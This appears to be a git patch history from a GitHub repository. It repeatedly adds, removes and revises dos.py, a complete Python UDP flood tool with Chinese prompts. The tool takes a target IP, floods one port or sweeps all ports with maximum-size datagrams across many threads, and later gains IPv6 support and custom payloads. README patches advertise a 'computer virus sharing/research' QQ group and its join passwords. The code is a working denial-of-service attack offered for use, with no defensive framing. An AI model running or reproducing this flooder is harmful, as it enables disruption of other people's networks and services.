== 65535: - port = 0 - else: - port += 1 - except: - pass - -if mode == "1": - for i in range(sc): - dos_sc = Thread(target = dos_1 , args = (bytes , ip , port)) - dos_sc.start() -elif mode == "2": - for i in range(sc): - dos_sc = Thread(target = dos_2 , args = (bytes , ip)) - dos_sc.start() - -input("按Enter键停止攻击") -condition = False \ No newline at end of file From c8efb0656d80b6d0f673bc4353636c61950616b2 Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Fri, 13 Dec 2024 18:01:48 +0800 Subject: [PATCH 22/38] Add files via upload --- dos.py | 112 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 112 insertions(+) create mode 100644 dos.py diff --git a/dos.py b/dos.py new file mode 100644 index 0000000..14916b6 --- /dev/null +++ b/dos.py @@ -0,0 +1,112 @@ +from socket import socket , AF_INET , SOCK_DGRAM +from threading import Thread +from os import system , name +from time import sleep +from random import randbytes + +condition = True +bytes = randbytes(65507) +sock = socket(AF_INET , SOCK_DGRAM) + +def is_valid_ipv4(ip): + parts = ip.split('.') + if len(parts)!= 4: + return False + for part in parts: + try: + num = int(part) + if num < 0 or num > 255: + return False + except ValueError: + return False + return True +if name == "nt": + def clear_shell(): + system("cls") +else: + def clear_shell(): + system("clear") + +clear_shell() +print(""" +Python3 dos工具 + +作者 : WindowsKin +""") +while True: + ip = input("请输入 IP : ") + if not is_valid_ipv4(ip): + print("检测到你输入了无效内容,请重新输入") + sleep(2) + continue + break +mode = input(""" +1.从指定端口进行攻击 +2.从端口 1 ~ 65534 循环遍历进行攻击 +请输入攻击方式 : """) +if mode == "1": + while True: + try: + port = int(input("请输入 端口 : ")) + if port > 65535 or port < 0: + print("检测到你输入了无效内容,请重新输入") + sleep(2) + continue + except ValueError: + print("检测到你输入了无效内容,请重新输入") + sleep(2) + else: + break +elif mode != "2": + print('检测到你输入了无效内容,已以为你选择默认值"2"') + sleep(2) + mode = "2" +try: + sc = int(input("请输入 线程数量(不能为0) : ")) + if sc == 0: + print('检测到你输入了无效内容,已以为你选择默认值"1"') + sleep(2) + sc = 1 +except ValueError: + print('检测到你输入了无效内容,已以为你选择默认值"1"') + sleep(2) + sc = 1 +clear_shell() + +if mode == "1": + print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip} {port} 端口") +elif mode == "2": + print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip}") + +def dos_1(bytes , ip , port): + global condition + while condition: + try: + sock.sendto(bytes , (ip , port)) + except: + pass + +def dos_2(bytes , ip): + global condition + port = 4444 + while condition: + try: + sock.sendto(bytes , (ip , port)) + if port == 65535: + port = 0 + else: + port += 1 + except: + pass + +if mode == "1": + for i in range(sc): + dos_sc = Thread(target = dos_1 , args = (bytes , ip , port)) + dos_sc.start() +elif mode == "2": + for i in range(sc): + dos_sc = Thread(target = dos_2 , args = (bytes , ip)) + dos_sc.start() + +input("按Enter键停止攻击") +condition = False \ No newline at end of file From b80527975d55f150614c412081b83bb62f02addc Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Fri, 13 Dec 2024 22:09:17 +0800 Subject: [PATCH 23/38] Delete dos.py --- dos.py | 112 --------------------------------------------------------- 1 file changed, 112 deletions(-) delete mode 100644 dos.py diff --git a/dos.py b/dos.py deleted file mode 100644 index 14916b6..0000000 --- a/dos.py +++ /dev/null @@ -1,112 +0,0 @@ -from socket import socket , AF_INET , SOCK_DGRAM -from threading import Thread -from os import system , name -from time import sleep -from random import randbytes - -condition = True -bytes = randbytes(65507) -sock = socket(AF_INET , SOCK_DGRAM) - -def is_valid_ipv4(ip): - parts = ip.split('.') - if len(parts)!= 4: - return False - for part in parts: - try: - num = int(part) - if num < 0 or num > 255: - return False - except ValueError: - return False - return True -if name == "nt": - def clear_shell(): - system("cls") -else: - def clear_shell(): - system("clear") - -clear_shell() -print(""" -Python3 dos工具 - -作者 : WindowsKin -""") -while True: - ip = input("请输入 IP : ") - if not is_valid_ipv4(ip): - print("检测到你输入了无效内容,请重新输入") - sleep(2) - continue - break -mode = input(""" -1.从指定端口进行攻击 -2.从端口 1 ~ 65534 循环遍历进行攻击 -请输入攻击方式 : """) -if mode == "1": - while True: - try: - port = int(input("请输入 端口 : ")) - if port > 65535 or port < 0: - print("检测到你输入了无效内容,请重新输入") - sleep(2) - continue - except ValueError: - print("检测到你输入了无效内容,请重新输入") - sleep(2) - else: - break -elif mode != "2": - print('检测到你输入了无效内容,已以为你选择默认值"2"') - sleep(2) - mode = "2" -try: - sc = int(input("请输入 线程数量(不能为0) : ")) - if sc == 0: - print('检测到你输入了无效内容,已以为你选择默认值"1"') - sleep(2) - sc = 1 -except ValueError: - print('检测到你输入了无效内容,已以为你选择默认值"1"') - sleep(2) - sc = 1 -clear_shell() - -if mode == "1": - print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip} {port} 端口") -elif mode == "2": - print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip}") - -def dos_1(bytes , ip , port): - global condition - while condition: - try: - sock.sendto(bytes , (ip , port)) - except: - pass - -def dos_2(bytes , ip): - global condition - port = 4444 - while condition: - try: - sock.sendto(bytes , (ip , port)) - if port == 65535: - port = 0 - else: - port += 1 - except: - pass - -if mode == "1": - for i in range(sc): - dos_sc = Thread(target = dos_1 , args = (bytes , ip , port)) - dos_sc.start() -elif mode == "2": - for i in range(sc): - dos_sc = Thread(target = dos_2 , args = (bytes , ip)) - dos_sc.start() - -input("按Enter键停止攻击") -condition = False \ No newline at end of file From 1e19adc999bd597329ed9d78c3d8fd466fd731a2 Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Fri, 13 Dec 2024 22:09:46 +0800 Subject: [PATCH 24/38] Add files via upload --- dos.py | 112 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 112 insertions(+) create mode 100644 dos.py diff --git a/dos.py b/dos.py new file mode 100644 index 0000000..5549c8e --- /dev/null +++ b/dos.py @@ -0,0 +1,112 @@ +from socket import socket , AF_INET , SOCK_DGRAM +from threading import Thread +from os import system , name +from time import sleep +from random import randbytes + +condition = True +bytes = randbytes(65507) +sock = socket(AF_INET , SOCK_DGRAM) + +def is_valid_ipv4(ip): + parts = ip.split('.') + if len(parts)!= 4: + return False + for part in parts: + try: + num = int(part) + if num < 0 or num > 255: + return False + except ValueError: + return False + return True +if name == "nt": + def clear_shell(): + system("cls") +else: + def clear_shell(): + system("clear") + +clear_shell() +print(""" +Python3 dos工具 + +作者 : WindowsKin +""") +while True: + ip = input("请输入 IP : ") + if not is_valid_ipv4(ip): + print("检测到你输入了无效内容,请重新输入") + sleep(2) + continue + break +mode = input(""" +1.攻击指定端口 +2.攻击所有端口 +请输入攻击方式 : """) +if mode == "1": + while True: + try: + port = int(input("请输入 端口 : ")) + if port > 65535 or port < 0: + print("检测到你输入了无效内容,请重新输入") + sleep(2) + continue + except ValueError: + print("检测到你输入了无效内容,请重新输入") + sleep(2) + else: + break +elif mode != "2": + print('检测到你输入了无效内容,已以为你选择默认值"2"') + sleep(2) + mode = "2" +try: + sc = int(input("请输入 线程数量(不能为0) : ")) + if sc == 0: + print('检测到你输入了无效内容,已以为你选择默认值"1"') + sleep(2) + sc = 1 +except ValueError: + print('检测到你输入了无效内容,已以为你选择默认值"1"') + sleep(2) + sc = 1 +clear_shell() + +if mode == "1": + print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip} {port} 端口") +elif mode == "2": + print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip}") + +def dos_1(bytes , ip , port): + global condition + while condition: + try: + sock.sendto(bytes , (ip , port)) + except: + pass + +def dos_2(bytes , ip): + global condition + port = 4444 + while condition: + try: + sock.sendto(bytes , (ip , port)) + if port == 65535: + port = 0 + else: + port += 1 + except: + pass + +if mode == "1": + for i in range(sc): + dos_sc = Thread(target = dos_1 , args = (bytes , ip , port)) + dos_sc.start() +elif mode == "2": + for i in range(sc): + dos_sc = Thread(target = dos_2 , args = (bytes , ip)) + dos_sc.start() + +input("按Enter键停止攻击") +condition = False \ No newline at end of file From ae3c792f0a2ada8772225e1957cc0eadae821c08 Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Sun, 15 Dec 2024 10:03:01 +0800 Subject: [PATCH 25/38] Delete dos.py --- dos.py | 112 --------------------------------------------------------- 1 file changed, 112 deletions(-) delete mode 100644 dos.py diff --git a/dos.py b/dos.py deleted file mode 100644 index 5549c8e..0000000 --- a/dos.py +++ /dev/null @@ -1,112 +0,0 @@ -from socket import socket , AF_INET , SOCK_DGRAM -from threading import Thread -from os import system , name -from time import sleep -from random import randbytes - -condition = True -bytes = randbytes(65507) -sock = socket(AF_INET , SOCK_DGRAM) - -def is_valid_ipv4(ip): - parts = ip.split('.') - if len(parts)!= 4: - return False - for part in parts: - try: - num = int(part) - if num < 0 or num > 255: - return False - except ValueError: - return False - return True -if name == "nt": - def clear_shell(): - system("cls") -else: - def clear_shell(): - system("clear") - -clear_shell() -print(""" -Python3 dos工具 - -作者 : WindowsKin -""") -while True: - ip = input("请输入 IP : ") - if not is_valid_ipv4(ip): - print("检测到你输入了无效内容,请重新输入") - sleep(2) - continue - break -mode = input(""" -1.攻击指定端口 -2.攻击所有端口 -请输入攻击方式 : """) -if mode == "1": - while True: - try: - port = int(input("请输入 端口 : ")) - if port > 65535 or port < 0: - print("检测到你输入了无效内容,请重新输入") - sleep(2) - continue - except ValueError: - print("检测到你输入了无效内容,请重新输入") - sleep(2) - else: - break -elif mode != "2": - print('检测到你输入了无效内容,已以为你选择默认值"2"') - sleep(2) - mode = "2" -try: - sc = int(input("请输入 线程数量(不能为0) : ")) - if sc == 0: - print('检测到你输入了无效内容,已以为你选择默认值"1"') - sleep(2) - sc = 1 -except ValueError: - print('检测到你输入了无效内容,已以为你选择默认值"1"') - sleep(2) - sc = 1 -clear_shell() - -if mode == "1": - print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip} {port} 端口") -elif mode == "2": - print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip}") - -def dos_1(bytes , ip , port): - global condition - while condition: - try: - sock.sendto(bytes , (ip , port)) - except: - pass - -def dos_2(bytes , ip): - global condition - port = 4444 - while condition: - try: - sock.sendto(bytes , (ip , port)) - if port == 65535: - port = 0 - else: - port += 1 - except: - pass - -if mode == "1": - for i in range(sc): - dos_sc = Thread(target = dos_1 , args = (bytes , ip , port)) - dos_sc.start() -elif mode == "2": - for i in range(sc): - dos_sc = Thread(target = dos_2 , args = (bytes , ip)) - dos_sc.start() - -input("按Enter键停止攻击") -condition = False \ No newline at end of file From fd08d9771ae0ad6a84ad8ab12623baa72316fb8c Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Sun, 15 Dec 2024 10:03:24 +0800 Subject: [PATCH 26/38] Add files via upload --- dos.py | 111 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 111 insertions(+) create mode 100644 dos.py diff --git a/dos.py b/dos.py new file mode 100644 index 0000000..7267653 --- /dev/null +++ b/dos.py @@ -0,0 +1,111 @@ +from socket import socket , AF_INET , SOCK_DGRAM +from threading import Thread +from os import system , name , urandom +from time import sleep + +condition = True +bytes = urandom(65507) +sock = socket(AF_INET , SOCK_DGRAM) + +def is_valid_ipv4(ip): + parts = ip.split('.') + if len(parts)!= 4: + return False + for part in parts: + try: + num = int(part) + if num < 0 or num > 255: + return False + except ValueError: + return False + return True +if name == "nt": + def clear_shell(): + system("cls") +else: + def clear_shell(): + system("clear") + +clear_shell() +print(""" +Python3 dos工具 + +作者 : WindowsKin +""") +while True: + ip = input("请输入 IP : ") + if not is_valid_ipv4(ip): + print("检测到你输入了无效内容,请重新输入") + sleep(2) + continue + break +mode = input(""" +1.攻击指定端口 +2.攻击所有端口 +请输入攻击方式 : """) +if mode == "1": + while True: + try: + port = int(input("请输入 端口 : ")) + if port > 65535 or port < 0: + print("检测到你输入了无效内容,请重新输入") + sleep(2) + continue + except ValueError: + print("检测到你输入了无效内容,请重新输入") + sleep(2) + else: + break +elif mode != "2": + print('检测到你输入了无效内容,已以为你选择默认值"2"') + sleep(2) + mode = "2" +try: + sc = int(input("请输入 线程数量(不能为0) : ")) + if sc == 0: + print('检测到你输入了无效内容,已以为你选择默认值"1"') + sleep(2) + sc = 1 +except ValueError: + print('检测到你输入了无效内容,已以为你选择默认值"1"') + sleep(2) + sc = 1 +clear_shell() + +if mode == "1": + print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip} {port} 端口") +elif mode == "2": + print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip}") + +def dos_1(bytes , ip , port): + global condition + while condition: + try: + sock.sendto(bytes , (ip , port)) + except: + pass + +def dos_2(bytes , ip): + global condition + port = 4444 + while condition: + try: + sock.sendto(bytes , (ip , port)) + if port == 65535: + port = 0 + else: + port += 1 + except: + pass + +if mode == "1": + for i in range(sc): + dos_sc = Thread(target = dos_1 , args = (bytes , ip , port)) + dos_sc.start() +elif mode == "2": + for i in range(sc): + dos_sc = Thread(target = dos_2 , args = (bytes , ip)) + dos_sc.start() + +input("按Enter键停止攻击") +condition = False \ No newline at end of file From b046743619004b8a341b359c60b89f90c2f6feea Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Fri, 20 Dec 2024 23:07:44 +0800 Subject: [PATCH 27/38] =?UTF-8?q?=E6=9B=B4=E6=96=B0=20dos.py?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- dos.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/dos.py b/dos.py index 7267653..dc15a5a 100644 --- a/dos.py +++ b/dos.py @@ -4,7 +4,7 @@ from time import sleep condition = True -bytes = urandom(65507) +bytes = urandom([0xFF] * 65507) sock = socket(AF_INET , SOCK_DGRAM) def is_valid_ipv4(ip): From 6608d89086af5891500de88406f5a0fff8174aa4 Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Fri, 20 Dec 2024 23:09:48 +0800 Subject: [PATCH 28/38] =?UTF-8?q?=E6=9B=B4=E6=96=B0=20dos.py?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- dos.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/dos.py b/dos.py index dc15a5a..09b8525 100644 --- a/dos.py +++ b/dos.py @@ -1,10 +1,10 @@ from socket import socket , AF_INET , SOCK_DGRAM from threading import Thread -from os import system , name , urandom +from os import system , name from time import sleep condition = True -bytes = urandom([0xFF] * 65507) +bytes = bytes([0xFF] * 65507) sock = socket(AF_INET , SOCK_DGRAM) def is_valid_ipv4(ip): From caa1219da3e3101d08d456db56b594948afd14d7 Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Sat, 21 Dec 2024 14:54:34 +0800 Subject: [PATCH 29/38] =?UTF-8?q?=E6=9B=B4=E6=96=B0=20dos.py?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- dos.py | 101 +++++++++++++++++++++++++++++++++++++++++++++++---------- 1 file changed, 84 insertions(+), 17 deletions(-) diff --git a/dos.py b/dos.py index 09b8525..d76821f 100644 --- a/dos.py +++ b/dos.py @@ -1,24 +1,38 @@ -from socket import socket , AF_INET , SOCK_DGRAM +from socket import socket , AF_INET , AF_INET6 , SOCK_DGRAM from threading import Thread from os import system , name +from secrets import token_bytes +from os.path import getsize from time import sleep condition = True -bytes = bytes([0xFF] * 65507) -sock = socket(AF_INET , SOCK_DGRAM) -def is_valid_ipv4(ip): - parts = ip.split('.') - if len(parts)!= 4: - return False - for part in parts: - try: - num = int(part) - if num < 0 or num > 255: +def is_valid_ipv4_ipv6(ip): + if "." in ip: + parts = ip.split(".") + if len(parts)!= 4: + return False + for part in parts: + try: + num = int(part) + if num < 0 or num > 255: + return False + except: return False - except ValueError: + return True + elif ":" in ip: + parts = ip.split(":") + if len(parts) > 8: return False - return True + valid_chars = set("0123456789abcdefABCDEF") + for part in parts: + if len(part) > 4: + return False + for char in part: + if char not in valid_chars: + return False + return True + if name == "nt": def clear_shell(): system("cls") @@ -30,19 +44,72 @@ def clear_shell(): print(""" Python3 dos工具 -作者 : WindowsKin -""") +作者 : WindowsKin""") +while True: + ip_mode = input(""" +1.IPv4 +2.IPv6 +请输入 IP 协议类型 : """) + if ip_mode == "1": + sock = socket(AF_INET , SOCK_DGRAM) + elif ip_mode == "2": + sock = socket(AF_INET6 , SOCK_DGRAM) + else: + print("检测到你输入了无效内容,请重新输入") + sleep(2) + continue + break while True: ip = input("请输入 IP : ") - if not is_valid_ipv4(ip): + if not is_valid_ipv4_ipv6(ip): print("检测到你输入了无效内容,请重新输入") sleep(2) continue break +bytes_mode = input(""" +1.使用默认数据包 +2.使用随机生成的数据包 +3.使用指定二进制文件当作数据包 +请选择数据包获取方式 : """) +if bytes_mode == "1": + bytes = bytes([0xFF] * 65507) +elif bytes_mode == "2": + bytes = token_bytes(65507) +elif bytes_mode == "3": + while True: + try: + bytes_path = input("请输入文件路径 : ") + if getsize(bytes_path) > 65507: + print("检测到你输入的文件大于65507字节,请重新输入") + sleep(2) + continue + elif getsize(bytes_path) == 0: + print("检测到你输入了空文件,请重新输入") + sleep(2) + continue + with open(bytes_path , "rb") as b: + bytes = b.read() + except FileNotFoundError: + print("没有找到该文件,请重新输入") + sleep(2) + continue + except PermissionError: + print("没有权限读取该文件,请检查权限后重新输入") + sleep(2) + continue + except OSError as e: + print(f"读取文件时出现其他错误: {e},请重新输入") + sleep(2) + continue + break +else: + print('检测到你输入了无效内容,已以为你选择默认值"1"') + sleep(2) + bytes = bytes([0xFF] * 65507) mode = input(""" 1.攻击指定端口 2.攻击所有端口 -请输入攻击方式 : """) +请选择攻击方式 : """) if mode == "1": while True: try: From 9165f1db1807220f397832a82d0212130bf5971f Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Sun, 29 Dec 2024 12:49:50 +0800 Subject: [PATCH 30/38] =?UTF-8?q?=E6=9B=B4=E6=96=B0=20dos.py?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- dos.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/dos.py b/dos.py index d76821f..d144c2d 100644 --- a/dos.py +++ b/dos.py @@ -7,8 +7,8 @@ condition = True -def is_valid_ipv4_ipv6(ip): - if "." in ip: +def is_valid_ipv4_ipv6(ip , ip_mode): + if ip_mode == "1": parts = ip.split(".") if len(parts)!= 4: return False @@ -20,7 +20,7 @@ def is_valid_ipv4_ipv6(ip): except: return False return True - elif ":" in ip: + elif ip_mode == "2": parts = ip.split(":") if len(parts) > 8: return False @@ -61,7 +61,7 @@ def clear_shell(): break while True: ip = input("请输入 IP : ") - if not is_valid_ipv4_ipv6(ip): + if not is_valid_ipv4_ipv6(ip , ip_mode): print("检测到你输入了无效内容,请重新输入") sleep(2) continue From aee3519fe3a3d30ff4874916be9ba5e63fee82b7 Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Sat, 15 Feb 2025 14:29:57 +0800 Subject: [PATCH 31/38] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index cddd64f..fd972c5 100644 --- a/README.md +++ b/README.md @@ -14,5 +14,7 @@ # 电脑病毒分享/研究QQ群号:994328113 +# 入群密码 : Wpiyntdhonw3sKin + # 抖音号:WindowsKin From 81a4c1336bd61b2d8921184428137962131c2836 Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Sat, 15 Mar 2025 13:00:38 +0800 Subject: [PATCH 32/38] =?UTF-8?q?=E6=9B=B4=E6=96=B0=20README.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 2 -- 1 file changed, 2 deletions(-) diff --git a/README.md b/README.md index fd972c5..cddd64f 100644 --- a/README.md +++ b/README.md @@ -14,7 +14,5 @@ # 电脑病毒分享/研究QQ群号:994328113 -# 入群密码 : Wpiyntdhonw3sKin - # 抖音号:WindowsKin From 638f395c5b128264c1ffc575d96a919f4f4c76e0 Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Sun, 23 Mar 2025 13:37:32 +0800 Subject: [PATCH 33/38] =?UTF-8?q?=E6=9B=B4=E6=96=B0=20README.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index cddd64f..0cbfb20 100644 --- a/README.md +++ b/README.md @@ -12,7 +12,7 @@ # 作者:WindowsKin -# 电脑病毒分享/研究QQ群号:994328113 +# 电脑病毒分享/研究QQ群号:994328113(加群密码 : windows) # 抖音号:WindowsKin From 4f3b391e7eab4d15e04cc3387490203126b76f43 Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Fri, 28 Mar 2025 18:01:22 +0800 Subject: [PATCH 34/38] =?UTF-8?q?=E6=9B=B4=E6=96=B0=20README.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 0cbfb20..cddd64f 100644 --- a/README.md +++ b/README.md @@ -12,7 +12,7 @@ # 作者:WindowsKin -# 电脑病毒分享/研究QQ群号:994328113(加群密码 : windows) +# 电脑病毒分享/研究QQ群号:994328113 # 抖音号:WindowsKin From 431127324b32e0afb05cc23dc6560f99d57bcbab Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Mon, 18 Aug 2025 18:47:14 +0800 Subject: [PATCH 35/38] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index cddd64f..f18bf58 100644 --- a/README.md +++ b/README.md @@ -15,4 +15,4 @@ # 电脑病毒分享/研究QQ群号:994328113 -# 抖音号:WindowsKin +# bilibili @WindowsKin From 97acbcf8a8f94b505c1b3dbe192fcd2b1c1ad3de Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Thu, 28 Aug 2025 09:43:03 +0800 Subject: [PATCH 36/38] =?UTF-8?q?=E6=9B=B4=E6=96=B0=20dos.py?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- dos.py | 47 ++++++++++++++++++++++------------------------- 1 file changed, 22 insertions(+), 25 deletions(-) diff --git a/dos.py b/dos.py index d144c2d..f5b3bdc 100644 --- a/dos.py +++ b/dos.py @@ -33,6 +33,27 @@ def is_valid_ipv4_ipv6(ip , ip_mode): return False return True +def dos_1(bytes , ip , port): + global condition + while condition: + try: + sock.sendto(bytes , (ip , port)) + except: + pass + +def dos_2(bytes , ip): + global condition + port = 443 + while condition: + try: + sock.sendto(bytes , (ip , port)) + if port == 65535: + port = 0 + else: + port += 1 + except: + pass + if name == "nt": def clear_shell(): system("cls") @@ -141,35 +162,11 @@ def clear_shell(): if mode == "1": print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip} {port} 端口") -elif mode == "2": - print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip}") - -def dos_1(bytes , ip , port): - global condition - while condition: - try: - sock.sendto(bytes , (ip , port)) - except: - pass - -def dos_2(bytes , ip): - global condition - port = 4444 - while condition: - try: - sock.sendto(bytes , (ip , port)) - if port == 65535: - port = 0 - else: - port += 1 - except: - pass - -if mode == "1": for i in range(sc): dos_sc = Thread(target = dos_1 , args = (bytes , ip , port)) dos_sc.start() elif mode == "2": + print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip}") for i in range(sc): dos_sc = Thread(target = dos_2 , args = (bytes , ip)) dos_sc.start() From e85c07bb89149168662b933823c719a931717286 Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Fri, 29 Aug 2025 22:36:44 +0800 Subject: [PATCH 37/38] =?UTF-8?q?=E6=9B=B4=E6=96=B0=20README.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index f18bf58..0b4721a 100644 --- a/README.md +++ b/README.md @@ -12,7 +12,7 @@ # 作者:WindowsKin -# 电脑病毒分享/研究QQ群号:994328113 +# 计算机技术研究QQ群号:994328113 # bilibili @WindowsKin From 378fce1f9abb4ae6b94547ab7f09b27501577100 Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Sat, 27 Dec 2025 12:22:28 +0800 Subject: [PATCH 38/38] =?UTF-8?q?=E6=9B=B4=E6=96=B0=20README.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 0b4721a..a7e9061 100644 --- a/README.md +++ b/README.md @@ -12,7 +12,8 @@ # 作者:WindowsKin -# 计算机技术研究QQ群号:994328113 +# 计算机技术研究QQ群①:994328113 +# 计算机技术研究QQ群②:1077706722 # bilibili @WindowsKin